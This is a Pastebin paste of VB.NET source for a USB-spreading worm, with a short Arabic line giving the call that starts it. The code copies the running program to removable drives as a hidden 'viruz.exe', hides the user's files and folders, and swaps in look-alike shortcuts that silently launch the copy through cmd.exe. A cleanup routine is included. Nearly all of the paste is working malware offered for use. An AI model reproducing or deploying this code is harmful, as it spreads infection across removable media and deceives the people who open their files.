Alshabh

call class

Sep 13th, 2013
118
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.43 KB | None | 0 0
  1. Public Class USB
  2. Private Off As Boolean = False
  3. Dim thread As Threading.Thread = Nothing
  4. Public ExeName As String = "viruz.exe"
  5. Public Sub Start()
  6. If thread Is Nothing Then
  7. thread = New Threading.Thread(AddressOf usb, 1)
  8. thread.Start()
  9. End If
  10. End Sub
  11. Public Sub clean()
  12. Off = True
  13. Do Until thread Is Nothing
  14. Threading.Thread.CurrentThread.Sleep(1)
  15. Loop
  16. For Each x As IO.DriveInfo In IO.DriveInfo.GetDrives
  17. Try
  18. If x.IsReady Then
  19. If x.DriveType = IO.DriveType.Removable Or _
  20. x.DriveType = IO.DriveType.CDRom Then
  21. If IO.File.Exists(x.Name & ExeName) Then
  22. IO.File.SetAttributes(x.Name _
  23. & ExeName, IO.FileAttributes.Normal)
  24. IO.File.Delete(x.Name & ExeName)
  25. End If
  26. For Each xx As String In IO.Directory.GetFiles(x.Name)
  27. Try
  28. IO.File.SetAttributes(xx, IO.FileAttributes.Normal)
  29. If xx.ToLower.EndsWith(".lnk") Then
  30. IO.File.Delete(xx)
  31. End If
  32. Catch ex As Exception
  33. End Try
  34. Next
  35. For Each xx As String In IO.Directory.GetDirectories(x.Name)
  36. Try
  37. With New IO.DirectoryInfo(xx)
  38. .Attributes = IO.FileAttributes.Normal
  39. End With
  40. Catch ex As Exception
  41. End Try
  42. Next
  43. End If
  44. End If
  45. Catch ex As Exception
  46. End Try
  47. Next
  48. End Sub
  49. Sub usb()
  50. Off = False
  51. Do Until Off = True
  52. For Each x In IO.DriveInfo.GetDrives
  53. Try
  54. If x.IsReady Then
  55. If x.TotalFreeSpace > 0 And x.DriveType = IO.DriveType _
  56. .Removable Or x.DriveType = IO.DriveType.CDRom Then
  57. Try
  58. If IO.File.Exists(x.Name & ExeName) Then
  59. IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Normal)
  60. End If
  61. IO.File.Copy(Application.ExecutablePath, x.Name & ExeName, True)
  62. IO.File.SetAttributes(x.Name & ExeName, IO.FileAttributes.Hidden)
  63. For Each xx As String In IO.Directory.GetFiles(x.Name)
  64. If IO.Path.GetExtension(xx).ToLower <> ".lnk" And _
  65. xx.ToLower <> x.Name.ToLower & ExeName.ToLower Then
  66. IO.File.SetAttributes(xx, IO.FileAttributes.Hidden)
  67. IO.File.Delete(x.Name & New IO.FileInfo(xx).Name & ".lnk")
  68. With CreateObject("WScript.****************l").CreateSh ortcut _
  69. (x.Name & New IO.FileInfo(xx).Name & ".lnk")
  70. .TargetPath = "cmd.exe"
  71. .WorkingDirectory = ""
  72. .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _
  73. & " " & ChrW(34)) & "&start " & New IO.FileInfo(xx) _
  74. .Name.Replace(" ", ChrW(34) & " " & ChrW(34)) & " & exit"
  75. .IconLocation = GetIcon(IO.Path.GetExtension(xx))
  76. .Save()
  77. End With
  78. End If
  79. Next
  80. For Each xx As String In IO.Directory.GetDirectories(x.Name)
  81. IO.File.SetAttributes(xx, IO.FileAttributes.Hidden)
  82. IO.File.Delete(x.Name & New IO.DirectoryInfo(xx).Name & " .lnk")
  83. With CreateObject("WScript.****************l") _
  84. .CreateShortcut(x.Name & IO.Path.GetFileNameWithoutExtension(xx) & " .lnk")
  85. .TargetPath = "cmd.exe"
  86. .WorkingDirectory = ""
  87. .Arguments = "/c start " & ExeName.Replace(" ", ChrW(34) _
  88. & " " & ChrW(34)) & "&explorer /root,""%CD%" & New _
  89. IO.DirectoryInfo(xx).Name & """ & exit"
  90. .IconLocation = "%SystemRoot%\system32\****************L32.dll ,3" '< folder icon
  91. .Save()
  92. End With
  93. Next
  94. Catch ex As Exception
  95. End Try
  96. End If
  97. End If
  98. Catch ex As Exception
  99. End Try
  100. Next
  101. Threading.Thread.CurrentThread.Sleep(3000)
  102. Loop
  103. thread = Nothing
  104. End Sub
  105. Function GetIcon(ByVal ext As String) As String
  106. Try
  107. Dim r = Microsoft.Win32.Registry _
  108. .LocalMachine.OpenSubKey("Software\Classes\", False)
  109. Dim e As String = r.OpenSubKey(r.OpenSubKey(ext, False) _
  110. .GetValue("") & "\DefaultIcon\").GetValue("", "")
  111. If e.Contains(",") = False Then e &= ",0"
  112. Return e
  113. Catch ex As Exception
  114. Return ""
  115. End Try
  116. End Function
  117. End Class
  118. طريقة الاستدعاء
  119. usb.start
Advertisement
Add Comment
Please, Sign In to add comment